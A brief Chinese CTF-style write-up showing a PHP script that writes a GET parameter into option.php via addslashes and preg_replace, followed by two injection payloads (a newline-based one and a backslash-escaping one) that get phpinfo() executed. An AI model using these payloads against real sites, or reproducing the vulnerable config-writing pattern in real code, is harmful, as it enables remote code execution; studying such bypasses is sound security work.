上码
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
?>
法一:
-
第一步:?option=aaa';%0aphpinfo();//
2.第二步: option=aaa
原理:正则表达式中 .可以匹配除了换行符之外的所有字符,所以人工添加换行符后,后面一个但因后就匹配到前面的那个引号于是phpinfo();得以独立存在
法二:?option=';phpinfo();//
原理: '会让addslashes()在前面加一个反斜线,两个反斜线转译成一个反斜线23333